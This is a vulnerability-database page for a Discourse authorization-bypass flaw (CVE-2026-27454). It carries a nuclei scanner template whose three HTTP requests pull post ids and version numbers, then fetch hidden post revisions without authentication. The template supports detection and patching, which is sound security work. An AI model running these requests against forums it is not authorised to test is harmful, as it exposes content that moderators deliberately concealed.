Lucene search
+L

Discourse <=2026.2.0 - Hidden Post Revision Disclosure via revert_to Authorization Bypass

🗓️ 15 Sep 2026 07:50:31Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 2 Views

Discourse versions before 2026.1.2, 2026.2.1, and 2026.3.0-latest.1 contain an authorization bypass in PostsController#display_post. The controller calls post.revert_to(params[:version]) directly whenever a version query parameter is present, with...

Related
Refs
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2026-27454
19 Mar 202620:39
attackerkb
circl
Circl
CVE-2026-27454
15 Sep 202609:00
circl
cnnvd
CNNVD
Discourse 安全漏洞
19 Mar 202600:00
cnnvd
cve
CVE
CVE-2026-27454
19 Mar 202620:39
cve
cvelist
Cvelist
CVE-2026-27454 Discourse has check revision visibility on posts endpoint
19 Mar 202620:39
cvelist
euvd
EUVD
EUVD-2026-13188
19 Mar 202620:39
euvd
nvd
NVD
CVE-2026-27454
19 Mar 202621:17
nvd
osv
OSV
BIT-DISCOURSE-2026-27454 Discourse has check revision visibility on posts endpoint
27 Mar 202607:09
osv
ptsecurity
Positive Technologies
PT-2026-26358
19 Mar 202600:00
ptsecurity
redhatcve
RedhatCVE
CVE-2026-27454
26 Mar 202615:09
redhatcve
Rows per page
id: CVE-2026-27454

info:
  name: Discourse <=2026.2.0 - Hidden Post Revision Disclosure via revert_to Authorization Bypass
  author: str4k3r
  severity: medium
  description: |
    Discourse versions before 2026.1.2, 2026.2.1, and 2026.3.0-latest.1 contain an authorization bypass in PostsController#display_post. The controller calls post.revert_to(params[:version]) directly whenever a version query parameter is present, without checking whether the corresponding PostRevision is hidden or whether the caller has permission to view edit history. By requesting a post at its publicly known version number via GET /posts/:id.json?version=<public_version>, the next PostRevision's stored modifications are applied unconditionally. If staff have hidden that revision, its pre-edit content is returned to an unauthenticated caller. On patched installs the same request is rejected with 403 because guardian.ensure_can_see!(post_revision) is evaluated first.
  impact: |
    An unauthenticated visitor can retrieve the contents of a hidden post revision that moderators intended to conceal from public viewers.
  remediation: |
    Upgrade Discourse to 2026.1.2, 2026.2.1, 2026.3.0-latest.1, or later.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-fq69-f929-wp96
    - https://github.com/discourse/discourse/commit/8510fde30eb0d7f2dee822a95f6cf43b9ac943d0
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27454
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-27454
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 3
    vendor: discourse
    product: discourse
  tags: cve,cve2026,discourse,idor,exposure,unauth

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /posts.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "latest_posts")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: post_id
        part: body
        internal: true
        group: 1
        regex:
          - '"latest_posts":\[\{"id":(\d+)'

  - raw:
      - |
        GET /posts/{{post_id}}.json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"version\"")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: pub_version
        part: body
        internal: true
        group: 1
        regex:
          - '"version":(\d+)'

  - raw:
      - |
        GET /posts/{{post_id}}.json?version={{pub_version}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - '!contains(body, "invalid_access")'
          - 'contains(body, "\"cooked\"")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402201e2a040b996995c0987f32e920779b869debcdbb54818a1fa20d8ea6aa504fc3022023e8c6a6f47db95a967f698046b0505d92cc106f965b19ef3dd6db4a3abcb51e:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Sep 2026 16:50Current
CVSS 3.15.3
EPSS0.00461
SSVC
2